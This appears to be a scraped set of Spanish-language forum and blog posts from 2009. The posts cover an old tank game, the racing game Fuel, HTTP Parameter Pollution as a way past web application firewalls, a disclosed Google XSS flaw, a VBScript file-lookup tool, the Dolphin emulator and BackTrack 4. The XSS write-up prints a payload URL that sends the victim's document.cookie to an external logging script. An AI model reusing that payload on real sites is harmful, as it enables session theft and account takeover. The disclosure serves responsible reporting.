Buenas ...

De casualidad me he encontrado con unos juegos que me han recordado a otro que jugaba hace unos años, el cual ahora no puedo encontrar 

Los juegos que me lo han recordado son Pocket Tanks y Atomic Cannon:



En definitiva ... un jueguito de tanques que se podía jugar de a dos, al estilo de Worms, tenías diferentes misiles y balas, pero bueno un poco más rudimentario ya que como dije ... lo jugaba hace unos años atrás ... en un win 95 ... digamos unos 10 años 

Alguien tiene idea de como se podía llamar? 

Saludos

 Luego de los continuos fracasos de la serie Need For Speed tuvimos que empezar a mirar a otro lado para conseguir un juego de carreras que nos sorprenda y nos divierta. Una de las tantas empresas que llenó ese rol fue Codemasters, quienes a principios de junio tienen pensado traernos un juego de carreras post-apocalítptico tan ambicioso que marcó un récord por el mundo más grande en un videojuego de consolas. 14,400 km² de pura exploración.

Codemaster nos ha demostrado en otras ocasiones que pueden hacer juegos de coches. Estos son los muchachos que hicieron GRID, ¿debo decir algo más? Resulta ser que, aunque hacer el mismo juego con algunas mejoras podría haberles sido muy rentable, esta vez decidieron ir un poco más allá y crear algo nuevo. Es por eso que designaron a la desarrolladora francesa, Asobo Studio, para que produzca su próximo gran juego de carreras. Por lo que hemos visto, Fuel no solo se verá de maravilla, sino que ya, a medio mes de su salida, logró un récord Guinness por el juego de consolas con el mundo abierto más grande de la historia. ¿Quién dice que el tamaño no importa?
 
 Seguramente estas pensando, ¿cómo puede ser que un juego de carreras tenga el mundo más grande? Pues así como escuchas, Fuel será un juego de carreras post-apocalíptico con un mundo arrasado por el calentamiento global. Es decir, una especie de Fallout con autitos. Obviamente no habrá mucho que hacer en pie y aún no sabemos si se podrá salir del vehículo, pero lo que sí sabemos es que tendremos cerca de 14,400 km², para explorar a gusto.


 El hecho de que sea un mundo post-apocalíptico no es solo un fondo para hacer del mundo algo más interesante, sino que entrará en juego con enormes tornados y tormentas de arena, entre otros desastres meteorológicos. Además, habrá un ciclo de noche y día, lo que garantiza que nunca sabrás cuando puede venir la próxima tormenta, sino que será completamente aleatorio. Ya podemos imaginar lo divertido que será correr una carrera en plena noche, acompañado con un lindo tornado.
 
 Los desarrolladores han garantizado que, aunque este es el mundo más grande que hemos visto, Fuel no tendrá ningún tiempo de carga entre zonas, lo que garantiza horas de juego con una fluidez sin igual.Y para darnos una idea de lo enorme que es el terreno, Codemaster dijo que el mapa es más grande que Hong Kong, Singapur, Santa Lucia y la Isla de Man, sumadas… es decir, muy, pero muy, pero muuuuuy grande. Muy…

Podrá no verse tan bien como GRID, pero Fuel promete muchas más emociones... ¡y tornados!

 Y para recorrer esos truculentos caminos tendremos a nuestra disposición una buena variedad de vehículos, divididos en seis clases diferentes. Desde motos, vehículos todo terreno, Muscle Cars (de alto rendimiento) y deportivos, hasta buggies, camiones y aerodeslizadores. Es decir que habrá variedad para todos los gustos, lo que siempre es bienvenido.
 
 Lamentablemente aún no sabemos tanto como querríamos, pero si nos guiamos por lo que Codemasters nos ha acostumbrado, podemos esperar un juego de carreras con muy buenos gráficos y una jugabilidad muy accesible, pero a la vez satisfactoria. Posiblemente no intente ser realista en el manejo y la física de los vehículos, pero tendrá varios elementos que intentarán aumentar la realidad del juego en general.

 Es raro que tan cerca de la salida no tengamos más información, pero parece que Codemaster quiere darnos una sorpresa. Con fecha de salida para el 2 de junio en Xbox 360 y PlayStation 3, seguida por la de PC semanas luego, ya podemos saborear la arena del mundo post-apocalíptico que han preparado para nosotros.

Fuente:http://www.neoteo.com/fuel-el-juego-mas-grande-del-mundo-guinness-15993.neo

Por todos es conocido que los servidores web son uno de mayores objetivos de los ataques de hoy en día. El dinero y los datos accesibles a través de los portales web, con la finalidad de ofrecer un servicio, una vez más, se ven afectados por una nueva amenaza, un nuevo tipo de ataque.

En concreto, esta nueva técnica ha sido expuesta durante la conferencia OWASP Appsec Poland 2009 por parte de los expertos en seguridad Stefano Di Paola y Luca Carettoni y ha llegado en modo de correo a los suscritos a Bugtraq.

¿En qué consiste el ataque?
Pues una vez más (como sucede con un SQL Injection o una inyección de comandos) en la reacción que tiene el servidor web ante la manipulación de algún parámetro o cabecera en una aplicación web.

En este caso, consiste en la interpretación que tiene un servidor web cuando se repite el nombre de un parámetro dentro de la misma petición. Un ejemplo:

http://www.miaplicacion.com/index.asp&variable1=val1&variable2=val2

En este caso, cada variable recibiría su valor correcto por parte del servidor web y todo OK.

Sin embargo, supongamos que http://www.miaplicacion.com/index.asp&variable1=val1&variable1=val2

¿Qué valor tendría variable1 esta vez? Pues la respuesta es: depende del servidor web que lo interprete. Unos servidores asignarán el val1 y otros asignarán val2. En otros casos como IIS, su mecanismo interno los concatenará.

Por ejemplo, IIS se sabe que los concatena separándolos por comas. Apache solamente se queda con el primer valor que recibe un parámetro desechando el resto.

El impacto de este comportamiento por parte de los servidores Web puede ser enorme a la hora de procesar los argumentos, y puede dar lugar a múltiples posibilidades como sobreescritura de parámetros HTTP definidos por la aplicación en la URI, alteración del comportamiento de la aplicación, acceso y modificación de variables,... etc

Algo muy interesante es que aquellas empresas que como medidas preventivas de protección de sus aplicaciones web tengan un WAF (Web Application Firewall), que les permita sanitizar la entrada de las peticiones entrantes, tampoco estarán protegidas del todo.

En líneas generales, los Firewalls de Aplicaciones Web analizan las peticiones web basándose en firmas generalmente. Estas firmas son expresiones regulares que enfrentan contra las peticiones (los parámetros, las cabeceras, incluso el cuerpo de la página, etc...) de manera que, como si de un antivirus se tratara, si alguna de las "cadenas" coincide con la petición, la misma es bloqueada. Ahora bien, aprovechando esta nueva línea de ataque, es posible encapsular en la misma variable (repetida varias veces con diferente valor) un ataque, que si fuera en una sola variable, sería fácilmente detectada y bloqueada por cualquier WAF. De esta manera, al analizar cada parámetro, no se delimitaría como algo maliciosa la petición y sin embargo, al ser reensamblada e interpretada por el servidor web, sí que podría ser un riesgo en la seguridad de la aplicación.

Aquellos WAFs que no estén basados en tecnología de reverse proxy (proxy inverso) permitirán ser bypasseados ante este tipo de ataque.

Como ya indicamos en posts(1) anteriores( y 2), existe algún Firewall de Aplicaciones Web con un motor basado en ponderar los valores de los diferentes parámetros (con un funcionamiento parecido a un antispam) que en algunos de estos casos sería completamente efectivo (scoring list) además de porque está basado en tecnología de proxy inverso y en Apache, que como hemos visto sólo se quedaba con el primer valor asignado a un parámetro, reenviando sólo este valor al servidor final.

La presentación completa puede ser descargada aquí así como vista en Slideshare. Su lectura es altamente recomendable.

Fuente:http://www.securitybydefault.com/2009/05/seguridad-web-http-parameter-pollution.html

Vulnerabilidad XSS Universal en todos los Servicios Google puede comprometer su información personal

Vulnerabilidad Reportada: 18-Abril-2009 9.33 pm
Respuesta de Google: 18-Abril-2009 10.19 pm (Wow! eso es súper rápido para un sábado )
Vulnerabilidad Reparada: 05-Mayo-2009 7.05 pm
Cambio Propagado: 07-Mayo-2009 3.19 pm

Recientemente informé de una falla cross-scripting (XSS) a Google, que ahora ya está arreglada. La vulnerabilidad existía en el Script Python del Soporte de Google en donde una URL maliciosa no era depurada del caracter XSS ' (comilla simple) antes de ponerlo dentro de la variable logURL de javascript. Como resultado, era posible romper el encapsulamiento de la declaración var y ejecutar comandos javascript arbitrarios en el dominio principal Google.com.

La única limitación eran los siguientes caractéres que eran o bien filtrados o codificados para url - " (comillas dobles) < > (espacio) { }. Sin embargo, esta protección podía ser sorteada fácilmente. Puede escribir un comando javascript para robar cookies de sesión [gracias a que caractéres como ' ; . ( ) / = +aún estaban disponibles] y enviarlos a mi sitio malicioso. Vea el ejemplo que se da abajo.

Su cookie del dominio Google.com es el cookie central de autenticación única (SSO) para todos los servicios google. Una vez que alguien cualquiera lo obtenga, él o ella pueden usarlo para

1. Robarle sus emails.
2. Robarle sus contactos.
3. Robarle sus documentos.
4. Robarle sus código.
5. Robarle sus sitios.
6. Robarle sus website analytics.
7. Poner una entrada trasera en su página de inicio de iGoogle con gadgets maliciosos.
…. y deben haber aun varias cosas más que quedan con las que podrían jugar.

Un código de una sencilla Prueba de Concepto puede mostrar su cookie de Google.com en un cuadro de alerta:

http://google.com/support/webmasters/bin/answer.py?answer=34575&cbid=-1oudgq5c3804g

Un ejemplo más de la vida real donde un atacante silenciosamente transfiere su cookie Google.com a su sitio maligno:-

http://google.com/support/webmasters/bin/answer.py?answer=34575&cbid=-1oudgq5c3804g';ifr=document.createElement('iframe');ifr.src='http:'+'//www.securethoughts.com/security/cookielogger/log.cgi?cookie='+escape(document.cookie);document.body.appendChild(ifr);//src=cb&lev=index

Quiero agradecer al equipo de Seguridad de Google por sus rápidas respuestas y arreglo a este serio problema en tiempo y forma. Si piensa que Google se tomó mucho tiempo para arreglar esta vulnerabilidad, piénselo de nuevo. Este script de python es usado en muchos lugares. Intente esta soncera en Google para ver el uso de este script en casi todos los Servicios Google.

Fuente:http://securethoughts.com/2009/05/universal-xss-vulnerability-in-all-google-services-can-compromise-your-personal-information/
Traducción para Segu-info:http://blog.segu-info.com.ar/2009/05/vulnerabilidad-xss-universal-en-todos.html

Buenas ...

Bueno, hace un tiempo y tras una consulta en el sub de seguridad se me ocurrió crear un pequeño script para consultar de manera automática sobre el origen de determinados archivos/librerías, para lo cual hacía uso de la web :http://www.fileinspect.com/, la cual esta en beta para ya muestra tener una buena bbdd

El caso es que en ese momento el script fue resultado de algunos minutos de aburrimiento, pero luego de analizarlo un poco más detenidamente me pareció que me podía resultar útil, así que lo he ido modificando en mi beneficio y lo comparto a continuación

'by Novlucker
Set objxmlHTTP = CreateObject("Microsoft.XMLHTTP")
Set objfso = Createobject("Scripting.filesystemobject")
 
If wscript.arguments.count <> 2 then
 Ayuda()
End if
 
Format = Ucase(wscript.arguments(0))
 
Select case Format
 case "/F"
 Set FromFolder = objfso.getfolder(wscript.arguments(1))
 Set FileList = FromFolder.files
 If FileList.count = 0 then
 Msgbox "La carpeta seleccionada no contiene ningún archivo", 64, "Informe"
 wscript.quit
 End if
 case "/A"
 If objfso.fileexists(wscript.arguments(1)) then
 Set FromFile = objfso.opentextfile(wscript.arguments(1),1)
 FileList = Split(FromFile.readall,vbnewline)
 FromFile.close
 Else
 Msgbox "El archivo seleccionado no existe", 16, "Informe"
 wscript.quit
 End if 
 case "/L"
 FileList = Split(wscript.arguments(1),",")
 case "/P"
 Set Taskmgr = GetObject("winmgmts:{impersonationLevel=impersonate}").ExecQuery ("select * from Win32_Process")
 Dim Taskname(): Redim Preserve Taskname(Taskmgr.count-1)
 For Each T in Taskmgr
 Taskname(n) = T.name
 n = n+1
 Next
 FileList = FilterAray(Taskname)
 case else
 Ayuda()
End Select
 
For Each F in FileList
 
If Format = "/F" then
 URLF = "http://www.fileinspect.com/fileinfo/" & LCase(Replace(F.name,".","-"))
 F = F.name
Else
 URLF = "http://www.fileinspect.com/fileinfo/" & LCase(Replace(F,".","-"))
End if
 
objxmlHTTP.open "GET", URLF, 0
objxmlHTTP.send()
Do while objxmlHTTP.readystate <> 4
 wscript.sleep 200
Loop
response = objxmlHTTP.responsetext
 
blogcopy = instr(1,response,"id=""blog-copy-text""",1)
 
If blogcopy > 0 then
 Startd = instr(blogcopy, response,">",1)+1
 Endd = instr(Startd, response,"<",1)
 
 Definition = mid(Response,Startd,Endd-Startd)
 Definition = replace(Definition,"&lt;", "<")
 Definition = replace(Definition,"&gt;", ">")
 Definition = replace(Definition,"&quot;", """")
 
 wscript.echo Definition
Else
 wscript.echo "</p><table cellpadding=""0"" cellspacing=""0"" width=""100%"" bgcolor=#737CA1><tr><td><a style=""color:#000000;font-size:15px;color=white;text-decoration:none;font-family:Arial;border:0px;""<b>" & F & ": Archivo desconocido</b></a></td></tr></table>"
End if
 
Next
 
Function FilterAray(Aray)
dim auxAray()
For Each A in Aray
 Match = False
 On error resume next
 Newlength = ubound(auxAray) + 1
 If err.number > 0 then
 Redim Preserve auxAray(0)
 auxAray(0) = A
 err.clear
 On error goto 0
 End if
 For Each E in auxAray
 If A = E then
 Match = True
 Exit For
 End if 
 Next
 If Match = False then
 Redim Preserve auxAray(Newlength)
 auxAray(Newlength) = A
 End if
Next
FilterAray = auxAray
End Function
 
Sub ayuda()
 wscript.echo vbnewline & "Uso: cscript.exe/nologo " & wscript.scriptname & " [formato] [parametro]" & vbnewline & _
 vbnewline & chr(9) & "Formato" & chr(9) & "Parametro" & vbnewline & chr(9) & "/F" & chr(9) & "Ruta Carpeta" & vbnewline & _
 chr(9) & "/A" & chr(9) & "Ruta Archivo (Conteniendo listado)" & vbnewline & chr(9) & "/L" & chr(9) & "Lista de archivos separados por coma" & vbnewline & _
 chr(9) & "/P" & chr(9) & "Análisis de procesos en ejecución (Cualquier valor)" & vbnewline & vbnewline & "Ejemplos:" & vbnewline & chr(9) & "cscript.exe/nologo " & _
 wscript.scriptname & " /F" & " C:\WINDOWS" & vbnewline & chr(9) & "cscript.exe/nologo " & wscript.scriptname & " /A" & _
 " C:\Archivos.txt" & vbnewline & chr(9) & "cscript.exe/nologo " & wscript.scriptname & " /L" & " ""mstsc.exe,syskey.exe,appmgr.dll""" & _
 vbnewline & chr(9) & "cscript.exe/nologo " & wscript.scriptname & " /P -"
 wscript.quit
End Sub

El script debe de lanzarse desde línea de comandos pasando los parámetros correspondientes, los cuales pueden verse en la ayuda (tanto desde ms-dos como con doble click)

Ej:

C:\Documents and Settings\Novlucker\Escritorio>cscript//nologo "filnspect.vbs" > Reporte.html

Como se ve además hay que redireccionar la salida (>) a un archivo de extensión html

Así se ve el resultado:

Saludos

Post original: Error de permisos al modificar msconfig

Edito:La web bajo la cual se realizaban las consultas, ha cambiado MUCHO la manera en la que se visualizan los archivos, por lo que ha dejado de ser funcional 

En estos tiempos no hay nadie que pueda negar que la consola Nintendo Wii es la más vendida del mercado. Su bajo costo en comparación con la competencia, su afinidad con el jugador casual y su control revolucionario han hecho que la Wii superara de manera aplastante tanto a las consolas actuales como a su antecesora GameCube, cuando en realidad su hardware no se diferencia mucho de ella. Pero el campo de la emulación siempre está presente, y si bien sus pasos suelen ser lentos, hace poco dio uno muy grande. Dolphin es para muchos el mejor emulador de Wii que existe, y ha alcanzado un estatus muy importante: Además de correr varios juegos, puede iniciar el sistema operativo de la consola.

Desde que el código del emulador fue publicado, ha ganado mucho terreno en relación a sus primeras versiones. Como todo emulador iniciado, tanto el rendimiento como la compatibilidad del mismo dejaban mucho que desear. Además, las primeras versiones estaban especialmente optimizadas para sistemas operativos de 64 bits, lo cual resultó ser un problema para la gran mayoría de los usuarios que querían probar el emulador. Ahora existen versiones de 32 y 64 bits, tanto para plataformas Windows como para plataformas Linux.


Las opciones de configuración del emulador son varias, y no todas funcionan en todos los juegos, por lo que hay que tener especial cuidado. Lo que puede hacer que un título funcione a la perfección, puede provocar que otro ni siquiera se inicie. De todas formas, como el emulador de código abierto que es, estamos lidiando con un trabajo en progreso. La última versión oficial del emulador fue lanzada hace tres días, pero también existen "builds no oficiales", que poseen alguna clase de optimización o que solucionan un bug específico. Demás está decirlo, los requerimientos de hardware son significativamente altos. Cuanta más RAM, más procesador y más tarjeta de vídeo posean, más podrán combatir las pérdidas de velocidad que presentan algunos juegos. Aquí dejamos un vídeo que encontramos en YouTube con una vieja versión de Dolphin corriendo Metroid Prime 3: Corruption, y en la descripción del vídeo podrán ver el hardware que se utilizó.


De todas formas, hay que reconocer el progreso del emulador. La última versión disponible ha logrado incluso iniciar el sistema operativo de la consola Wii, previa extracción del mismo desde la consola, por supuesto. Dolphin es un emulador, y si llegara a tener una porción de código de la Wii, no duraría mucho con la gran N persiguiéndolo. En cuanto al listado de juegos, la compatibilidad con GameCube es mucho mayor que con la Wii, pero la cosa va cambiando. Si tienes algún juego de estas consolas a la mano, consulta el listado en la página oficial y prueba a jugarlo. Que el juego no esté en la lista no significa que no funcione, así que lo ideal es comprobar el funcionamiento por uno mismo. Observa estas imágenes de la versión para Wii de Resident Evil.


El hardware disponible en estos días posee un poder de procesamiento excelente, pero como en todos los casos de emulación, el rendimiento final depende mucho del código implementado en el emulador mismo. Dolphin ha avanzado mucho, y puede correr muy buenos juegos sin problemas, pero todavía tiene un gran tramo por delante. Esperamos que siga progresando a buen ritmo, y no se encuentre ninguna piedra en el camino.

Página oficial:
Fuente:

Buenas

Pues eso, ha salido la beta de Backtrack 4, y aunque por el momento no la he encontrado para descarga, al menos son nuevas noticias acerca de esta distro 


Info y News de esta versión (nuevo blog)

Saludos

Fuente:

Saldrá algo interesante, o será todo al estilo tetris, pacman y pinball? Reconozco que son juegos históricos, pero los tiempos han cambiado 

Saludos